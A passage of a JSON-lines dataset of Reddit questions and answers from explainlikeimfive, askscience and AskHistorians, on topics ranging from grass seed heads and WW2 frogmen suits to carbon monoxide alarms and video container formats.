sprout will have single leaf initially.  The leaves are characterized by having long parallel veins the length of the leaves. \n\nThey otherwise reproduce like most other flowering plants. The flowers are very small and on a slender spike. Think of the typical wheat/grain stalk that you see. A long slender stem that rises above the plant itself and has the flowers and then the seed structures. \n\nIn a well managed lawn you generally will not see seed structures as the lawn is mowed regularly and that removes the flower spike before it can fully develop. Or becasue they are so small and not brightly colored. \n\nLink to a site with a number of pics of grass seed heads.  _URL_0_\n\nCrabgrass is one of the crappy ones. It has VERY small seeds and the flower stalks can lay down flattish with the grass and may not get cut with a mower. They also make vast quantities of seed from each plant. Pic shows the flowers sticking off to the side.\n\n_URL_1_\n\nAny grain field will have all the parts of the plant since they do not get mowed because we want the grain head. So wheat, rye, barley, rice, millet, sorghum, oats, and even corn are poaceae plants.", "Do the seeds need to be dried, or can I pick them straight from a field and spread them a bare patch on my lawn?", "I used to work at a grass seed farm in high school and college during the summers (the research branch, so I literally measured grass for hours as part of my job). A fully grown grass plant looks basically like wheat: a longer stalk with a seed head on top. The nice blades of grass that make up your lawn? Those are the leaves that grow out of the stalk because, as long as you mow your grass regularly, you'll keep the stalk short and no seed head will develop.\n\nEdit: grammar", "Did you know rice is grass seeds?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.walterreeves.com/lawn-care/turfgrasses-identifying/", "https://omahaorganicslawncare.com/wp-content/uploads/2014/11/Crabgrass.jpg"], [], [], []]}
{"q_id": "el14fo", "title": "In Fritz Lang's 1931 film \"M\", the thieves guild enlist the help of the beggars union in their attempts to catch a serial killer in Berlin. Did such things really exist in Weimar Germany?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/el14fo/in_fritz_langs_1931_film_m_the_thieves_guild/", "answers": {"a_id": ["fdg8xf1"], "score": [169], "text": ["Organised crime groups, made up of former convicts and known as Ringvereine, did exist in the Germany of this period, and they've been discussed in a couple of previous responses. While there's always more to be said, you might like to review those threads while you're waiting for fresh answers to your question.\n\n[Fritz Lang's \"M\" (1931) gives the impression of a large organized crime network in Weimar Germany. Was organized crime a large factor in in Nazi Germany as well?](_URL_1_), led by u/commiespaceinvader\n\n[Were there famous gangsters during the Third Reich? Or was the totalitarian nature of the regime a good deterrent for organized criminal activities?](_URL_0_), led by u/Abrytan"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/7vibnm/were_there_famous_gangsters_during_the_third/", "https://www.reddit.com/r/AskHistorians/comments/691c57/fritz_langs_m_1931_gives_the_impression_of_a/"]]}
{"q_id": "7ip7sm", "title": "how is an ultra-sound tech able to calculate the weight of an unborn baby?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7ip7sm/eli5_how_is_an_ultrasound_tech_able_to_calculate/", "answers": {"a_id": ["dr0d4q1", "dr0eojo", "dr0gag2"], "score": [15, 20, 2], "text": ["They measure certain things and compare that to an average. Aka they take an educated guess.", "Cardiac Sonographer here, with my little bit of experience in OB sonography I can tell you it's a calculation based on four measurements. Femur length (FL), head circumference (HC), abdominal circumference (AC), and the biparetal diameter (BPD) which all give you an estimated fetal weight (EFW). I don't remember the actual formula but there are calculators online to punch your info into to get your result. As with most measurements with height and weight (especially with children) there are standard deviations and percentiles Sonographer come up with based on an average bell curve. ", "It's mostly guesswork, educated guesswork.\n\nI was estimated at 5lb for my son. Small, but then I am tiny and we do usually have small babies in my family.\nSon of a bitch rocked up on his due date (which is rare apparently) at just over 9lb! "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5aivey", "title": "why this special magic square works.", "selftext": "_URL_0_\n\nThis is mind-blowing, but I do not understand why it holds good, at all. \n\nEven the classic way to write an odd numbered Magic Square, where you write numbers by going up one and right one, in the squares, starting from top row middle box, why does that work? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5aivey/eli5_why_this_special_magic_square_works/", "answers": {"a_id": ["d9hi929"], "score": [2], "text": ["This one is a hard problem to answer, because the properties (beyond the basic \"magic square\" properties) aren't really about numbers, but are about *the way we write them* which is totally arbitrary.\n\nIf we had decided on a set of symbols for 0-9 that lacks any numbers that are \"nearly\" rotations and mirrors of each other, such a trick would obviously never work.\n\nSo, why does it work? Well, there are a few things working in our favor. First, is that while the order of the numbers in a magic square matters, but it only matters *somewhat*. Rotations, symmetries, and certain configurations of \"swapping rows and columns\" will keep a magic square magic. And this fact is taken advantage of here quite immensely. The 16 number set used for this square has the property of being closed under mirroring and rotating. That is, the rotation or mirror of a number in this set is another number in this set.\n\nBut really all that makes this work is that we \"got lucky\" and it just happens to be the case that one of the magic squares consists only of numbers that \"stay numbers\" when you flip them around."]}, "title_urls": [], "selftext_urls": ["https://youtu.be/aTSYARnB-3Y"], "answers_urls": [[]]}
{"q_id": "9820mf", "title": "Frogmen Suit Capabilities WW2 (Cold)", "selftext": "My googlefu has failed me on this one. I'm wondering about the commando attacks in Norway etc. against the Tirpitz and other Naval targets in the Norwegian Fjords. \n\nWhat suits would the Allied Frogmen use for those operations and how long could they operate in the extremely cold waters? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9820mf/frogmen_suit_capabilities_ww2_cold/", "answers": {"a_id": ["e4cp5ad"], "score": [4], "text": ["British divers, operating the 'Chariot' human torpedo or swimming from X-class midget submarines, were issued with an early drysuit, the 'Sladen suit'. The suit was developed in early 1942 by the eponymous Commander Geoffrey Sladen, an experienced British submariner. It included an integral rebreather based on the Davis Submerged Escape Apparatus, an oxygen rebreather used in escapes from submarines. The Sladen Suit was made from a rubberised twill fabric. It was a full-body suit, including a hood to cover the head, but did not cover the hands. The hood also included a mask - in early variants, there were individual eyepieces, but this soon changed to a single visor, allowing the diver to use binoculars. The suit was entered through a hole in the stomach, typically feet-first. The hole was covered by a rubber skirt or trunk, which could be folded up and sealed using a pair of metal plates to make the suit watertight. The suit did not cover the hands, meaning that gloves had to be worn to keep them warm. However, these were clumsy things, and most divers preferred not to wear them, instead using a thick layer of engine grease to protect their hands. As the suit was a drysuit, the frogmen could wear whatever they chose beneath them. The most successful combination was silk underwear worn under woollen underwear, with kapok-padded jackets and trousers worn over the combination. The suit was relatively warm, but uncomfortable to wear - for example, the diver's sweat tended to condense inside the hood - and it quickly acquired the nickname 'clammy death' as a result. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4ogpbi", "title": "When you drop a rock into a pool of water, is there a way to predict the pitch of the sound that is made?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4ogpbi/when_you_drop_a_rock_into_a_pool_of_water_is/", "answers": {"a_id": ["d4cpeq2", "d4cpyi7"], "score": [3, 11], "text": ["The sound produced when something drops into water is quite complex. The timbre changes during the short time it takes to become immersed. It varies with the shape and mass of the object being dropped.\n\nIt could be modelled in a powerful computer. Boffins use supercomputers to predict the behaviour of nuclear bomb detonations; this would be much easier to model.", "Some work to simulate similar effects...  _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://youtu.be/On4ODNwJ424"]]}
{"q_id": "8euh4u", "title": "If a sun is bigger, will there be more area of habitable zone, or will the zone be further away?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8euh4u/if_a_sun_is_bigger_will_there_be_more_area_of/", "answers": {"a_id": ["dxy7tlm", "dxy8jkw", "dxy96r4", "dxydze1"], "score": [24, 10, 4, 33], "text": ["Earth is in an orbit referred to as the \"Goldilocks Zone\", i.e not too hot and not too cold to support life. \n\nThe size of a sun itself is not directly related to heat though (as a suns age also factors in, as wells as composition of elements etc) but if you mean hotter, then that zone of 'perfect' heat will be further away. ", "A stars habitable zone is the area in which water can exist in its liquid state. Temperature of the host star is a factor however so is the spectrum of electromagnetic radiation. This varies depending on the stage in the stars life-cycle. A star dusting hydrogen to helium will give off radiation in deferent parts of the spectrum to one fusing helium to beryllium. \n\nFor example larger stars giving off lots of ultra-violet radiation may not have a habitable zone", "The \u201cGoldilocks Zone\u201d is formally called the *circumstellar habitable zone* and is determined by a few factors...\n\n\u2022The radius of the planets orbit around the sun\n\u2022The Mass of the body\n\u2022 The radiative flux of the host star. This is the amount of power radiated through a given area. W/m^2\n\nIn simplified terms: So we use the radiative flux as a metric to extrapolate or estimate wether or not a given sun of certain \u201cstrength\u201d or luminosity has its planets (if we observed any) within the habitable zone.\n\nTypically radiative flux(or rather luminosoty) and the [inverse square law](_URL_0_) are used to see if those planets are in a habitable zone. Our sun has a habitable zone of about 1.3ish AU. If we found a star about 1/4 of our suns luminosity, that suns habitable zone would be approximately 0.67 AU. \n\n\nSo yes and no on your question. If it were a hotter bigger brighter sun, it would probably have a Goldilocks zone father out and possibly wider in breadth. \n\nEdit: wording", "Hotter suns have habitable zones that are not just farther out, but wider as well [as noted in this lecture](_URL_0_)...sorry, don't have time to dig up a better source.\n\nAnyway, the reason for this is that the habitable zone is based on the amount of light hitting a planet.  Light falls off proportional to the square of the distance...or to put it differently, if you are twice as far away you get 1/4 the energy.  \n\nTo keep the math simple, image that the habitable zone starts when light level is 1, and ends when light level is .25.   So for any star, the inner boundary of the habitable zone is at 1x and the outer boundary is at 2x.  That means the width of the zone is x.  For dimmer stars, the habitable zone starts closer in because there is less light...so imagine a star where it starts at .5  au.  So for that star the habitable zone would go from .5 au to 1 au and be .5 au wide.  Now imagine a bright star where the habitable zone starts at 2 au.  It would go from 2 au to 4 au and be 2 au wide...much wider and further away.\n\nNow all these numbers are made up, but the principle is the same."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Inverse-square_law?wprov=sfti1"], ["http://www.astronomy.ohio-state.edu/~pogge/Ast141/Unit5/Lect34_StarHZ.pdf"]]}
{"q_id": "j8v0u", "title": "why we have body odour, generally only in the armpit area, and why it would have been useful, in evolutionary terms. thank you.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/j8v0u/eli5_why_we_have_body_odour_generally_only_in_the/", "answers": {"a_id": ["c2a3jin", "c2a5cbb", "c2a3jin", "c2a5cbb"], "score": [18, 8, 18, 8], "text": ["Body odor comes from the bacteria that feed on our sweat and grease (yuck!) not the sweat itself. The smell itself isn't useful in evolutionary terms, but the bacteria are. They are mostly harmless and out-compete bacteria that could be harmful...A symbiotic relationship because the bacteria get free food and we get protected too!", "As a sort of side-note, the smell of our sweat (not necessarily BO) is useful in choosing a mate. There was a [study](_URL_0_) that got women to smell a series of sweaty shirts, and rate them in order of how good they smelled. The women, depending on their hormones, rated the sweat the best if they had more different immune system genes. This way, the woman is most pleasantly attracted to the smell of the man that would produce the child with the best immune system (broadest spectrum of defense). There were also implications in the study that this isn't simply old patterns, but still affects us today. Not really LI5, but I'll give a stab at slinging it down a notch if you'd like me to.", "Body odor comes from the bacteria that feed on our sweat and grease (yuck!) not the sweat itself. The smell itself isn't useful in evolutionary terms, but the bacteria are. They are mostly harmless and out-compete bacteria that could be harmful...A symbiotic relationship because the bacteria get free food and we get protected too!", "As a sort of side-note, the smell of our sweat (not necessarily BO) is useful in choosing a mate. There was a [study](_URL_0_) that got women to smell a series of sweaty shirts, and rate them in order of how good they smelled. The women, depending on their hormones, rated the sweat the best if they had more different immune system genes. This way, the woman is most pleasantly attracted to the smell of the man that would produce the child with the best immune system (broadest spectrum of defense). There were also implications in the study that this isn't simply old patterns, but still affects us today. Not really LI5, but I'll give a stab at slinging it down a notch if you'd like me to."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.colgateconnect.org/s/801/images/editor_documents/SummerOnTheHill/Readings/MHC-dependent%20mate%20preferences%20in%20humans.pdf"], [], ["http://www.colgateconnect.org/s/801/images/editor_documents/SummerOnTheHill/Readings/MHC-dependent%20mate%20preferences%20in%20humans.pdf"]]}
{"q_id": "vvajs", "title": "Assuming no time to properly react, would the safest course of action in the case of a tsunami/tidal wave be to meet the wave out on the ocean before it crests? If not, what would be?", "selftext": "All in the title. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vvajs/assuming_no_time_to_properly_react_would_the/", "answers": {"a_id": ["c57x5gb", "c57xfnt", "c57y57l", "c57zhpe"], "score": [3, 3, 2, 2], "text": ["yeah, out on the open ocean a tsunami is not recognizable as such by anything but digital buoys. Very safe to meet one out in deep water. \n\n", "Tsunamis only become a problem when the sea floor rises. Eg. Nearing a coast. ", "Yes, tsunamis only get very tall once they reach shallow water.  Out in the open ocean they aren't very high. \n\nI remember reading that fishermen in Fukushima ran to their boats to head out to sea after they felt the earthquake, because they feared a tsunami was coming and they wanted to meet it in deep water where the wave would be small.\n\nI can't find a good reference right now.  The [Wikipedia](_URL_0_) article on the earthquake mentions this:\n\n > At the risk of a tsunami \u2013 which reach their destructive wave heights near shallow coastal waters \u2013 local fishing boats along coastlines were shown heading out to sea on national news broadcasts.\n\nBut the link to the source article is dead.", "The safest course of action is higher ground. Tsunamis more than a few feet high are rare. If you can reach stable ground 50 ft above sea level you will be safe from all but the biggest ones. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/April_2011_Fukushima_earthquake"], []]}
{"q_id": "7x5yb9", "title": "when someone hunts an animal without a license what happens to the animal when it's confiscated?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7x5yb9/eli5_when_someone_hunts_an_animal_without_a/", "answers": {"a_id": ["du5qgqr", "du5qmbz"], "score": [2, 2], "text": ["Around here it's often donated to a food bank, unless it's spoiled, then it's just disposed of. ", "If the meat is still good, I know some states will bring it to food shelters or directly to people who they know need it. If you've ever seen animal planets Northwoods law, it actually shows the wardens dropping meat off to families that they know who could really benefit from the free meat. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5ve76p", "title": "how does neoprene work?", "selftext": "I have a wet suit made of neoprene and it keeps me pretty warm, why is it such a great heat retainer?\n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5ve76p/eli5how_does_neoprene_work/", "answers": {"a_id": ["de1com3", "de1ekah", "de1gfco", "de1o13i"], "score": [8, 3, 2, 6], "text": ["Essentially what is going on, is that the wetsuit allows water in, and then retains a very thin layer of water against your skin. This water is heated by your natural body heat, essentially serving as a warm layer of insulation. That's why wetsuits often talk about their anti-flushing properties as selling points. If the water is continually flushed out and replaced with new, cooler water, then the desired warming effect is compromised. I'm sure someone else can give you a more scientific answer regarding the actual properties of the material itself, but that's the gist of how they work. Good question! ", "The neoprene is treated so that millions of tiny air bubbles are incorporated into the material.  The air bubbles insulate you from the water, helping you stay warmer. ", "To follow on from ttamwalker's answer basically in water you have a molecule next to your skin which is colder than you are, you lose an amount of heat to this molecule. If you are in free water another one will take its place and so on until you have attempted to heat millions of molecules and end up at the temperature of the water (in the ocean, if a bit north or south probably about 5c and very much dead ) \n\nThe wetsuit holds the water still so you transfer some heat to it but it stays there. Thus you don't end up trying to heat the entire ocean. However, whilst it's slows down the rate of heat lost it won't last forever. Eventually you will get cold. ", "All the answers are correct.  Neoprene is rubber filled with air bubbles (terrible heat conductor) and the water just inside the suit (wetsuit) insulates.  Not super helpful, but this is why if you are diving, some divers will pee in their wetsuit (not nice if you rent).  The pee gets trapped between the neoprene suit and your skin. Gives you a heat boost, but you are swimming in pee."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2qz7ci", "title": "why do so many people hate the word moist?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qz7ci/eli5_why_do_so_many_people_hate_the_word_moist/", "answers": {"a_id": ["cnax2gw", "cnaxomg", "cnayr2r", "cnaywj7", "cnaz6cw", "cnb0zfi", "cnb1eug", "cnb3m6e"], "score": [3, 4, 34, 6, 3, 15, 4, 2], "text": ["It's just the way it rolls off the tongue, it's unpleasant to say the least. Kinda like how some people can't stand the sound of 2 polystyrene containers rubbing against each other, or the sound of nails against a chalkboard", "Fungating cancer wounds can be described as 'moist'.\n", "I think it's learned. Other people say it sounds gross, and in turn you start to think it's gross", "I thought Lily was the only one who hated the word \"moist\"", "People hate the word \"moist?\"\n\nWhy? Is this actually a common thing or just a joke from the show HIMYM?\n\nI have never heard a single person in real life say that they hated this word. I can't imagine that more people hate \"moist\" than any other word in the English language. ", "Because moist suggests something is wet and hot. In wet and hot environments, bacteria thrive, causing disease to settle in. Things like mold, open wounds, etc. are all things that come to mind.", "Not all moist things are gross, but most gross things are moist.", "They should make a horror movie called \"Moist\". I think many would be curious to watch. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "61onbs", "title": "Why is AVI format no longer the preferred video format choice?", "selftext": "It used to be much more popular, but seems to have been taken by MKV and MP4 formats. Why?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/61onbs/why_is_avi_format_no_longer_the_preferred_video/", "answers": {"a_id": ["dfgehau", "dfgf5xk"], "score": [33, 22], "text": ["AVI has fallen out of favour because it doesn't support modern enhancements like streaming  and subtitles. It has more to do with video editing software than anything else. Open source apps tend to prefer MKV files, while a certain fruity branded app prefers MP4. Microsoft created AVI but hasn't put in any work to keep it up to date.\n\nJust to clarify, AVI (and MKV/MP4) is just a container file format. The actual video (eg MPEG-2 or H.264) format inside the container determines the file size and video quality. All of these containers can hold the same types of video file formats so it doesn't have anything to do with size or compatibility.\n\n_URL_0_", "There are both technical and business reasons.\n\nBut first, some background: avi, mkv, and mp4 are all **container** formats. They don't themselves specify how the actual video and audio data is compressed and stored. Instead they provide a way to store information like which parts of the file represent which times in the video, and how the data is interleaved. They also specify how metadata about the video is stored. So they could contain data encoded with lots of different compression schemes.\n\nThe actual video and audio data is compressed based on a **codec**. There are many different codecs, and most of them can be stored in several different container files (although which containers can have which codecs is a bit of a complex issue).\n\nNow, back to why mp4 and mkv are much more popular now:\n\nThe technical reasons come down to the fact that the mp4 and mkv containers were designed more recently and thus have features needed by newer codecs. The biggest ones are a standard way to specify timecodes of the video (which frames should appear when) and a way to specify frames that depend on frames in the future (these are called B-frames). AVI files can technically be made to store data compressed with newer codecs (like h264), but in practice most software designed to use AVI files isn't prepared to deal with things like B-frames (which effectively store the frames of a video out of order to get the best compression efficiency).\n\nNow the business reasons: the mp4 file was derived from Apple's QuickTime format. As part of the [Mpeg-4 standard](_URL_0_), the [ISO Base Media File Format](_URL_4_) was standardized. There are tons of variations to the iso base media format (mp4, 3gp, etc). The mp4 file format and the mov QuickTime format are *almost* the same format, but there are small differences between the two if applications follow the standards exactly. Anyhow, mp4 and mov became the standard container for storing video encoded with [AVC](_URL_2_), aka h264, which is the most commonly used video codec on modern devices. If you have a cell phone made in the last 5 years, it almost certainly takes video in h264 format.\n\nThe AVI file format was defined by Microsoft way back in 1992. During the time that mp4 was being defined, Microsoft had it's own thing with the ASF format (which was the basis for the WMV and WMA video and audio formats). This was a new container, which was mostly used for a [series of new compression codecs](_URL_3_) developed by Microsoft.\n\nASF never really received wide adoption outside Microsoft stuff (although the VC-1 codec is an option for Blu-Ray discs). This is mostly because of the way patent licenses were set up I think (there's an argument to be made that VC-1 is better than h264 on HD video, as one of it's developers does [here](_URL_1_)). I suspect fear of being tied to a microsoft licensed format was also a significant factor, whereas h264 had a relatively open licence agreement.\n\nThe mkv format is mostly used because it's a completely open source format. It first became common among online video pirates, I think mostly because it made it easier to have multiple audio tracks in different languages and more flexible caption tracks. Mkv is also the basis for WebM video, which is google's royalty free video format. I think the primary reason it was used instead of something based on an mp4 format was that to be technically complaint as an mp4 file, the codec would have to be approved by the MPEG standards body, which directly competes with the VP8 (and now VP9) formats it uses.\n\nIn the future, it's not too clear to me whether mp4 or mkv will be the dominant format eventually. The natural next step is the HEVC/h265 format, but the licensing charges for it have caused a lot of companies to work against it by forming their own [group](_URL_5_). In the long run, this is probably good for consumers because the next set of standard codecs are likely to be completely royalty-free (like VP9), but in the meantime it's a weird time, as everyone could be switching to h265 and watching video at about half the bitrate."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Comparison_of_video_container_formats"], ["https://en.wikipedia.org/wiki/MPEG-4", "http://www.avsforum.com/forum/114-hdtv-software-media-discussion/774635-industry-insiders-q-master-thread-separate-thread-xbox-add-ps3-86.html#post9931723", "https://en.wikipedia.org/wiki/H.264/MPEG-4_AVC", "https://en.wikipedia.org/wiki/Windows_Media_Video", "https://en.wikipedia.org/wiki/ISO_base_media_file_format", "http://aomedia.org/about-us/"]]}
{"q_id": "400tte", "title": "why are carbon monoxide alarms so unreliable?", "selftext": "On December 26th, the carbon monoxide alarm that has sat unobtrusively on my kitchen wall for over two years, went off. I opened all windows and called a heating engineer who checked the levels and said, \"These alarms are rubbish. This is the 12th one I've replaced today.\"\n\nHe replaced it with a new Honeywell unit. This morning, I was woken up by its ludicrously loud screech. Opened the windows, called the engineer. Same problem: duff unit.\n\nThey are simple but vital devices that require little power from an internal battery that lasts for several years. Why so unreliable? \n ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/400tte/eli5_why_are_carbon_monoxide_alarms_so_unreliable/", "answers": {"a_id": ["cyqie2p", "cyqij9l", "cyqkvo7", "cyqlwdf", "cyqmfad", "cyqrp14", "cyqsvvb", "cyqwtkc"], "score": [75, 5, 2, 15, 2, 5, 11, 32], "text": ["You're generalizing from a very small sample, and an anecdotal one at that. I've had three plug-in units in the past dozen years and they've all worked fine. So my three more than offsets your two, right?\n\nAnd your tech guy just wanted to sell you a new one.", "The same situation happened to me.  When the firemen arrived and found no air quality issues, they said the detectors are prone to dust collecting in them that causes false positives.  Due to this, they are only good for a few years.   Humph...  Feels like I need a second opinion of this.\n\n", "No. Two failures in a month is bad but not statistically significant given the extremely low sample size here.", "Detecting carbon monoxide is hard, and the first time you get it wrong you are probably DEAD.  \n  \nSo, alarms are designed to be extremely sensitive, possibly even detecting other organic gasses.  To sense CO you need to heat a layer of SnO2, and then measure the resistance, take into account air temperature and other variables to come up with an accurate PPM reading and then time the readings so that you can alarm based on the ANSI standard for exposure (a certain ppm value only after a set amount of time.) Battery operated units need to only do this periodically since unlike a smoke detector, the process of properly powering up the sensor takes a significant amount of energy. The constant on/off can lead to premature wearout and false alarm. They are also designed to self destruct after a set lifespan (usually 7 years) since after that, the sensor element has unacceptable reliability at that point.  So, in almost every step, the alarm must err on the side of caution since if there is a failure you want it to fail into alarm and not fail out of alarm (because that means people die).", "The machines have a lifetime of 2 years. After that point they aren't reliable. It might have been telling you it needed replacing. They have a use by date on them normally.", "My instinct in this situation would tell me you have post combustion leak somewhere and your alarms aren't faulty. My guess is that by opening your windows, you vented the gas to levels that the technician couldn't detect. Or perhaps his equipment is faulty. Etc , etc. Call them back or better yet call someone else. Make sure they inspect not only the seal, but the vent pipe and vent junction as well. ", "As someone in my local fire department I can tell you this, yes GTFO, call the 911 but do not open the windows and vent the space! If we get a call, CO w/no symptoms we will respond, non emergency (no lights and sirens) but we show up with meters that are instant read. (Your CO detector is almost certainly a time-weighted average, so a slight whiff from your car starting in the garage for example, won't trigger an alarm.) By opening your windows you are significantly reducing the chance the FD can pin-point your problem. Leave the space as is and let the FD investigate and they will find the issue and vent the space if needed before letting you back in. Also our department carries commercial smoke detectors and CO detectors so we can leave them if there is any doubt and to be sure the occupants are safe. ", "Wait a second, you had 2 carbon monoxide detectors go off in a very short time span, and your assumption is that they are both broken? This baffles me. Because my assumption would be that YOU HAVE CARBON MONOXIDE IN YOUR HOUSE. \n\nYou opened the windows. That means that no matter how good the engineer's equipment is, you got rid of the evidence before he could test the air.\n\nYou're better safe than sorry. Please don't assume that you got 2 faulty detectors; assume that you have carbon monoxide."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "a852a5", "title": "why do buses have so much pneumatic noise? what is all that air doing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a852a5/eli5_why_do_buses_have_so_much_pneumatic_noise/", "answers": {"a_id": ["ec804sh", "ec80b2q", "ec8mi3g"], "score": [8, 3, 3], "text": ["The air brake system is required to brake heavy vehicles. The air lines travel all over the bus between the engine compartment and the wheels. When the driver presses the brake pedal, the air compresses and applies the brakes. When the brakes are released, the air must be released somewhere but can't be put back into the system. The air is instead released back out of the bus so that it can drive off. That happens every time the brake pedal is pressed and released which, in the city, is a lot.", "It\u2019s the valves releasing excess pressure on the air brakes. They have to constantly repressurize and balance to the correct pressure levels to work properly. ", "Most heavy vehicles have *pneumatic* brakes. The engine has an air compressor that runs right of the engine power (kind of like a generator would) that is there to feed the braking system with air pressure.\n\nThere is one system that requires a constantly applied air pressure to lift the parking brakes.\n\nAnd there are several (typically at least two of them) systems that apply the brakes when the brake pedal is pressed.\n\nPneumatic brakes are simply a lot more reliable and easier to maintain than the hydraulic brakes on a car, when you take into consideration the size of the vehicle and the ability to attach trailers and such. I know, buses usually don't have trailers. But buses are as heavy as trucks, so they use the same components and inherit a lot of the technical solutions from trucks.\n\nAnyway. Once you have added the compressor system to the vehicle for the sake of the brakes, you can as well start using it for other things as well.\n\n- the wheel suspension system is a set of air cushions\n\n- The drivers comfort seat is often pneumatic (though, in reality it often has its very own compressor)\n\n- the doors are opened and closed with air pistons\n\n- ramps that makes the bus accessible are often pneumatic\n\n- any behaviour where the bus leans to a side to make the floor level with the ramp at the bus stop is often achieved by temporarily controlling the air suspension system\n\nAs a result you get a lot of pneumatic noise.\n\n- when the doors open.\n\n- when the doors close.\n\n- when the driver lifts his foot of the brake pedal.\n\n- when the driver sets the parking brake.\n\n- when lots of people get on and off and the suspension adapts to the shift in weight.\n\nAnd, oh. The signal horn is often pneumatic too. (which is why it literally looks like a trumpet. Because it kind of is. But when that's used, there are other obvious noises that hides this fact."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "vgo82", "title": "I was just at the spa and had a question come to mind: is there any good science behind reflexology? Acupuncture? Why or why not? ", "selftext": "I was getting a massage earlier this evening and I started thinking about other services spas typically offer, namely reflexology and acupuncture. It made me wonder...tons of people claim relief from various maladies because of these services...is there any science to back them up? Why or why not? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vgo82/i_was_just_at_the_spa_and_had_a_question_come_to/", "answers": {"a_id": ["c54fg50"], "score": [3], "text": ["Generally speaking, \"good science\" for a treatment modality involves most or all of the following:\n\n* Hypothesis testing and mechanism of action: I predict that x will occur if I do y, because of what we know and can demonstrate about how x is affected by y.\n\n* Documentation and repeatability: Can other scientists review my work, replicate the experiment, and arrive at similar results? Hopefully the people reviewing and repeating the expriment don't have a vested interest in the outcome.\n\n* Falsifiability: Have I outlined what will disprove my hypothesis? This is very important.\n\n* Experimental design: Are we using a large enough cohort? Are we accounting for observer bias? Is the study blinded effectively, so neither the subjects nor the researchers know who is in the treatment group and who's in the control? This is also very important.\n\nWhat you find with a lot CAM (Complementary and Alternative Medicine) like reflexology, acupuncture, homeopathy, etc is that they fail some or all of these requirements. A good heuristic is that real effects tend to become amplified as controls and sample sizes are improved, and noise / false positives tend to go away. If you have an effect that's consistently repeatable under good controls with double-blind protocols, you're on your way to real medicine."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1msr30", "title": "Questions about Ancient Greece language.", "selftext": "Hey, im out of info so i turn to you.\n\nHow has the Ancient Greece language influenced the current language?\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1msr30/questions_about_ancient_greece_language/", "answers": {"a_id": ["ccc9wok"], "score": [2], "text": ["A lot. The whole scientific terminology is built on Latin and classical Greek.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/English_words_of_Greek_origin"]]}
{"q_id": "8w5o45", "title": "What was the Ottoman (Muslim) world\u2019s view on the rise of fascism, nazism, and racism in their allied countries during the world war eras?", "selftext": "Considering that the nations where these ideologies grew the most were their allies.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8w5o45/what_was_the_ottoman_muslim_worlds_view_on_the/", "answers": {"a_id": ["e1tj20h"], "score": [7], "text": ["May I just very shortly add here that the Ottoman Empire collapsed very shortly after World War 1, so the \"Ottomans\" never observed this rise of fascism, etc. in their allies"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1auqfs", "title": "dominance theory", "selftext": "It's for an Advanced Mathematics assignment. Any help would be lovely.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1auqfs/eli5_dominance_theory/", "answers": {"a_id": ["c90xjlt"], "score": [10], "text": ["Post your answer and we will provide feedback. We will not, however, get you off the hook on your assignment without some of your own original thoughts. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
